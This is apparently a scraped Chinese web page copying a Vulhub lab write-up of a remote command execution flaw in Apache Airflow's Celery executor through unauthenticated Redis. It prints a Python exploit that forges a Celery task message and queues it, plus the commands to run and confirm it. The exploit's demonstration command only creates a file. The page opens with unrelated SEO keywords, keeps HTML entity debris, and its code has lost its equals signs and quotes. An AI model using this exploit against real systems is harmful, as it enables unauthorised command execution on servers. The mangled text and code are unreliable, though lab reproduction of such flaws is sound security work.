网站优化自已做还是请人做,wordpress 转跳到登录,wordpress 移动端不显示,jsp网站开发源码Apache Airflow是一款开源的#xff0c;分布式任务调度框架。在其1.10.10版本及以前#xff0c;如果攻击者控制了Celery的消息中间件#xff08;如Redis/RabbitMQ#xff09;#xff0c;将可以通过控制消息#xff0c;在Worker进程中执行任意命令。 1.利用这个漏洞需要控…Apache Airflow是一款开源的分布式任务调度框架。在其1.10.10版本及以前如果攻击者控制了Celery的消息中间件如Redis/RabbitMQ将可以通过控制消息在Worker进程中执行任意命令。 1.利用这个漏洞需要控制消息中间件Vulhub环境中Redis存在未授权访问。通过未授权访问攻击者可以下发自带的任务airflow.executors.celery_executor.execute_command来执行任意命令参数为命令执行中所需要的数组。
2.我们可以使用[exploit_airflow_celery.py](exploit_airflow_celery.py)这个小脚本来执行命令touch /tmp/airflow_celery_success
pip install redis python exploit_airflow_celery.py [your-ip]
import pickle
import json
import base64
import redis
import sys
r redis.Redis(hostsys.argv[1], port6379, decode_responsesTrue,db0)
queue_name default
ori_str{\content-encoding\: \utf-8\, \properties\: {\priority\: 0, \delivery_tag\: \f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\, \delivery_mode\: 2, \body_encoding\: \base64\, \correlation_id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \delivery_info\: {\routing_key\: \celery\, \exchange\: \\}, \reply_to\: \fb996eec-3033-3c10-9ee1-418e1ca06db8\}, \content-type\: \application/json\, \headers\: {\retries\: 0, \lang\: \py\, \argsrepr\: \(100, 200)\, \expires\: null, \task\: \airflow.executors.celery_executor.execute_command\, \kwargsrepr\: \{}\, \root_id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \parent_id\: null, \id\: \ed5f75c1-94f7-43e4-ac96-e196ca248bd4\, \origin\: \gen1132f65270cde\, \eta\: null, \group\: null, \timelimit\: [null, null]}, \body\: \W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ\}
task_dict json.loads(ori_str)
command [touch, /tmp/airflow_celery_success]
body[[command], {}, {chain: None, chord: None, errbacks: None, callbacks: None}]
task_dict[body]base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))
3.执行docker compose logs airflow-worker 可以看到如下任务消息
执行docker compose exec airflow-worker ls -l /tmp可以看到成功创建了文件airflow_celery_success